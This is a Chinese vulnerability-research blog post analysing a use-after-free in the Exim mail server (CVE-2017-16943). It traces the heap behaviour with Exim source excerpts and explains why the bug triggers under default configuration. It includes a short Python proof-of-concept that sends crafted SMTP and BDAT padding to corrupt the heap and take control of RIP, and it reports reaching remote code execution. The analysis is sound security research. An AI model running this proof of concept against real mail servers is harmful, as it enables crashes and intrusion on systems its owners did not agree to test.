CVE-2017-16943 Exim UAF漏洞分析——后续

作者:Hcamael@知道创宇404实验室

发表时间:2017年12月13日

上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后的结论应该改成,在默认配置情况下,meh提供的PoC无法成功触发uaf漏洞。之后我又对为啥修改了配置后能触发和默认情况下如何触发漏洞进行了研究

重新复现漏洞

比上一篇分析中复现的步骤,只需要多一步,注释了/usr/exim/configure文件中的control = dkim_disable_verify

然后调整下poc的padding,就可以成功触发UAF漏洞,控制rip

分析特殊配置下的触发流程

在代码中有一个变量是dkim_disable_verify, 在设置后会变成true,所以注释掉的情况下,就为默认值false, 然后再看看receive.c中的代码:

BOOL
receive_msg(BOOL extract_recip)
{
......
1733:if (smtp_input && !smtp_batched_input && !dkim_disable_verify)
1734:  dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
1735:#endif

进入了dkim_exim_verify_init函数,之后的大致流程:

dkim_exim_verify_init -> pdkim_init_verify -> ctx->linebuf = store_get(PDKIM_MAX_BODY_LINE_LEN);

bdat_getc -> smtp_getc -> smtp_refill -> dkim_exim_verify_feed -> pdkim_feed -> string_catn -> string_get -> store_get(0x64)

#define PDKIM_MAX_BODY_LINE_LEN     16384       //0x4000

在上一篇文章中说过了,无法成功触发uaf漏洞的原因是,被free的堆处于堆顶,释放后就和top chunk合并了。

在注释了dkim的配置后,在dkim_exim_verify_init 函数的流程中,执行了一个store_get 函数,申请了一个0x4000大小的堆,然后在dkim_exim_verify_init 函数和dkim_exim_verify_feed 函数中,都有如下的代码:

store_pool = POOL_PERM;
......
store_pool = dkim_verify_oldpool;
---------------
enum { POOL_MAIN, POOL_PERM, POOL_SEARCH };

store_pool全局变量被修改为了1,之前说过了,exim自己实现了一套堆管理,当store_pool不同时,相当于对堆进行了隔离,不会影响receive_msg 函数中使用堆管理时的current_block这类的堆管理全局变量

当dkim相关的代码执行结束后,还把store_pool恢复回去了

因为申请了一个0x4000大小的堆,大于0x2000,所以申请之后yield_length全局变量的值变为了0,导致了之后store_get(0x64)再次申请了一块堆,所以有了两块堆放在了heap1的上面,释放heap1后,heap1被放入了unsortbin,成功触发了uaf漏洞,造成crash。(之前的文章中都有写到)

默认配置情况下复现漏洞

在特殊配置情况下复现了漏洞后,又进行了如果在默认配置情况下触发漏洞的研究。

在@explorer大佬的教导下,发现了一种在默认情况下触发漏洞的情况。

其实触发的关键点,就是想办法在heap1上面再malloc一个堆,现在我们从头来开始分析

// daemon.c

137 static void
138 handle_smtp_call(int *listen_sockets, int listen_socket_count,
139  int accept_socket, struct sockaddr *accepted)
140 {
......
348 pid = fork();
352 if (pid == 0)
353   {
......
504     if ((rc = smtp_setup_msg()) > 0)
505       {
506       BOOL ok = receive_msg(FALSE);
......

首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支,smtp_setup_msg函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制yield_length的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了smtp_setup_msg

这时候我们发送一个命令BDAT 16356

然后有几个比较重要的操作:

5085       if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
5093       chunking_data_left = chunking_datasize;
5100       lwr_receive_getc = receive_getc;
5101       lwr_receive_getbuf = receive_getbuf;
5102       lwr_receive_ungetc = receive_ungetc;
5104       receive_getc = bdat_getc;
5105       receive_ungetc = bdat_ungetc;

首先是把输入的16356赋值给chunking_data_left

然后把receive_getc换成bdat_getc函数

再做完这些的操作后,进入了receive_msg函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1

然后进入receive_getc=bdat_getc读取数据:

534 int
535 bdat_getc(unsigned lim)
536 {
......
546   if (chunking_data_left > 0)
547     return lwr_receive_getc(chunking_data_left--);

lwr_receive_getc=smtp_getc通过该函数获取16356个字符串

首先,我们发送16352个a作为padding,然后执行了下面这流程:

  • store_extend return 0 -> store_get -> store_release

先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1

然后发送:\r\n,进入下面的代码分支:

1902   if (ch == '\r')
1903     {
1904     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1905     if (ch == '\n')
1906       {
1907       if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE;
1908       goto EOL;
1909       }

跳到了EOL,最重要的是最后几行代码:

2215   header_size = 256;
2216   next = store_get(sizeof(header_line));
2217   next->text = store_get(header_size);
2218   ptr = 0;
2219   had_zero = 0;
2220   prevlines_length = 0;
2221   }      /* Continue, starting to read the next header */

把一些变量重新进行了初始化,因为之前因为padding执行了store_get(0x4000),所以这个时候yield_length=0 这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前next->text使用,大小0x4010,未释放的堆。

之后流程的原理其实跟之前的差不多,PoC如下:

r = remote('localhost', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
# raw_input()
r.sendline('a'*0x1300+'\x7f')
# raw_input()
r.recvuntil('command')
r.sendline('BDAT 16356')
r.sendline("a"*16352+':\r')
r.sendline('aBDAT \x7f')
s = 'a'*6 + p64(0xabcdef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')

exp

根据该CVE作者发的文章,得知是利用文件IO的fflush来控制第一个参数,然后通过堆喷和内存枚举来来伪造vtable,最后跳转到expand_string函数来执行命令,正好我最近也在研究ctf中的_IO_FILE的相关利用(之后应该会写几篇这方面相关的blog),然后实现了RCE,结果图如下:

参考链接

  1. https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏芋道源码1024

Java中高级面试题(4)

这里选了几道高频面试题以及一些解答。不一定全部正确,有一些是没有固定答案的,如果发现有错误的欢迎纠正,如果有更好的回答,热烈欢迎留言探讨。

1760
来自专栏IT技术精选文摘

分布式事务原理与实践

事务简介 事务的核心是锁和并发,采用同步控制的方式保证并发的情况下性能尽可能高,且容易理解。这种方式的优势是方便理解;它的劣势是性能比较低。 计算机可以简单的理...

18510
来自专栏北京马哥教育

在Python中使用Elasticsearch

在这篇文章中,我将讨论Elasticsearch以及如何将其整合到不同的Python应用程序中。

3190
来自专栏安恒网络空间安全讲武堂

护网杯easy laravel ——Web菜鸡的详细复盘学习

复现让我发现了很多读wp以为懂了动手做的时候却想不通的漏掉的知识点(还是太菜orz),也让我对这道题解题逻辑更加理解。所以不要怂,就是干23333!

1953
来自专栏熊二哥

快速入门系列--WCF--01基础概念

转眼微软的WCF已走过十个年头,它是微软通信框架的集大成者,将之前微软所有的通信框架进行了整合,提供了统一的应用方式。记得从自己最开始做MFC时,就使用过Nam...

22010
来自专栏后端之路

mysql的query end status

背景 由于业务中有备份某个业务表的定时任务 会在每天指定时间点做一次备份【使用quartz】 各位也都知道各种timeout的相关问题 socketTimeou...

7076
来自专栏腾讯大数据的专栏

网卡收包流程

0.前言 为提升信鸽基础服务质量,笔者就网络收包全流程进行了内容整理。 网络编程中我们接触得比较多的是socket api和epoll模型,对于系统内核和网卡驱...

1.8K14
来自专栏企鹅号快讯

JDBC编程

前面我们已经讨论了数据库的安装和简单的使用,还没完成的可以先去Mysql的安装和Mysql数据库的简单操作回顾一下哦!今天我们来简单学习JDBC编程的准备和链...

3358
来自专栏Seebug漏洞平台

CVE-2017-16943 Exim UAF漏洞分析--后续

作者:Hcamael@知道创宇404实验室 上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后...

3226
来自专栏java达人

Kafka漫游记

我是一条消息,从我被生产者发布到topic的时候,我就清楚自己的使命:被消费者获取消费。但我一直很纳闷,把我直接推送给消费者不就行了,为什么一定要先推送到类似队...

4035

扫码关注云+社区

领取腾讯云代金券